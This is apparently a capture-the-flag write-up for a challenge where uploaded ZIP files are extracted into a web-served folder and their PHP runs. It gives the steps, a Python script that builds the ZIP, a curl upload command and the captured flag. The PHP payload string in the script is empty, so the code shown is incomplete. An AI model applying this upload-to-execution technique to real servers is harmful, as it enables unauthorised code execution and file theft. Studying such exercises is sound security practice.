## Overview
The app accepts ZIP uploads, extracts them to `/uploads/<random>/`, and serves the extracted files directly. If a ZIP contains a `.php` file, it is executed by the server. Command execution is blocked (`Cannot fork`), but file reads work, so reading `/flag.txt` reveals the flag.

## Steps
1. Create a ZIP containing a PHP file that prints `/flag.txt`.
2. Upload the ZIP.
3. Open the returned URL to execute the PHP and read the flag.

## Build the ZIP
```bash
python3 - <<'PY'
import zipfile, os
php = """"""
os.makedirs('tmp', exist_ok=True)
with open('tmp/readflag.php','w') as f: f.write(php)
with zipfile.ZipFile('tmp/readflag.zip','w') as z: z.write('tmp/readflag.php','readflag.php')
print('tmp/readflag.zip')
PY
```

## Upload
```bash
curl -s -i -F 'zipfile=@tmp/readflag.zip' http://52.59.124.14:5008/
```

## Flag
`ENO{R4C1NG_UPL04D5_4R3_FUN}`
